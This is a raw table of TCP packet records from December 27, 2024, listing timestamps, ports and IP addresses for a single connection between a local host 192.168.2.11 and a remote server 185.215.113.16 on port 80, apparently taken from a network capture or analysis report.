Dec 27, 2024 09:02:42.111227989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.111275911 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.112400055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.112413883 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.112473965 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.113446951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.113512993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.113558054 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.114836931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.114856958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.114917994 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.115899086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.115912914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.115963936 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.117012978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.117239952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.117312908 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.118159056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.118253946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.118311882 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.119359970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.119452000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.119498968 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.120527983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.120624065 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.120682955 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.121702909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.121890068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.121946096 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.122900009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.122931004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.122980118 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.124089956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.124198914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.124247074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.125293970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.125369072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.125413895 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.126528025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.126559019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.126876116 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.127640009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.127824068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.128422022 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.128914118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.128957033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.129003048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.130013943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.130115986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.130163908 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.131191015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.131329060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.131375074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.132390022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.132518053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.133012056 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.133721113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.133733988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.133775949 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.134808064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.134882927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.134931087 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.135956049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.136115074 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.136168003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.137110949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.137280941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.137330055 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.138364077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.138389111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.138433933 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.139486074 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.139621973 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.139678001 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.140716076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.140779018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.140820026 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.141827106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.142013073 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.142066002 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.142659903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.142923117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.142961979 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.143990040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.144004107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.144052982 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.145091057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.145560980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.145602942 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.146181107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.199565887 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.286001921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.286016941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.286022902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.286029100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.286114931 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.287177086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.287192106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.287233114 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.288477898 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.288491964 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.288532972 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.289545059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.289648056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.289731026 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.291035891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.291049004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.291100979 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.293209076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.293220997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.293231010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.293239117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.293339014 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.295532942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.295547009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.295557976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.295568943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.295607090 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.295625925 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.297390938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.297401905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.297442913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.298008919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.298021078 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.298074007 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.299901962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.299937010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.299988031 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.301461935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.301474094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.301485062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.301500082 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.301522017 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.301551104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.303884983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.303896904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.303909063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.303920984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.303965092 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.306149006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.306166887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.306179047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.306190968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.306231022 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.306262016 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.307878971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.307902098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.307959080 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.309742928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.309756041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.309767962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.309778929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.309809923 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.309828043 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.311870098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.311908007 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.311964035 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.313302040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.313313961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.313328981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.313339949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.313365936 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.313388109 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.315638065 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.315649986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.315660954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.315673113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.315745115 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.315792084 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.317913055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.317924976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.317938089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.317962885 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.319890022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.319901943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.319912910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.319938898 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.319988012 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.321470022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.321481943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.321491957 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.321526051 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.323834896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.323849916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.323860884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.323873043 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.323894024 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.323925972 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.325696945 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.325712919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.325722933 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.325756073 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.325793028 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.326239109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.326411009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.326447964 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.327378988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.327522039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.327568054 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.328655958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.328668118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.328711987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.329747915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.329850912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.329890966 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.330950975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.331070900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.331104994 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.333417892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.333451033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.333462000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.333472967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.333501101 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.333551884 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.335021019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.335036039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.335095882 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.335889101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.335905075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.335972071 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.338196993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.338211060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.338222980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.338236094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.338258982 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.338282108 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.339417934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.339422941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.339518070 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.341679096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.341691971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.341702938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.341715097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.341722965 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.341761112 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.343388081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.343401909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.343436956 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.345140934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.345164061 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.345185995 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.345236063 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.345300913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.345351934 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.346431017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.346441031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.346640110 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.347507954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.402669907 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.487107038 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.487189054 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.487298012 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.487669945 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.487754107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.488596916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.488656998 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.488727093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.489824057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.489862919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.489881992 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.489906073 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.491034031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.491107941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.491169930 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.492336988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.492508888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.492561102 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.493412971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.493469000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.494107008 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.494509935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.494641066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.495763063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.495795965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.495812893 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.495836020 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.496838093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.496891975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.497885942 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.498033047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.498212099 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.498256922 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.499242067 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.499320984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.499373913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.500427961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.500556946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.501595020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.501645088 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.501682043 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.502106905 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.502794027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.502882004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.502937078 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.504019022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.504039049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.504096985 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.505178928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.505341053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.506004095 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.506340027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.506553888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.507564068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.507611036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.507612944 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.508892059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.508949041 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.509459019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.509903908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.509965897 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.510004044 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.510046005 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.511059046 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.511188984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.511248112 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.512341976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.512423992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.512475014 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.513431072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.513572931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.514328003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.514748096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.514807940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.515829086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.515885115 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.515955925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.517091036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.517141104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.517175913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.517210007 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.518259048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.518378019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.518419027 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.519392967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.519558907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.519613981 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:42.520554066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.520626068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.521768093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:42.521840096 CET	49768	80	192.168.2.11	185.215.113.16
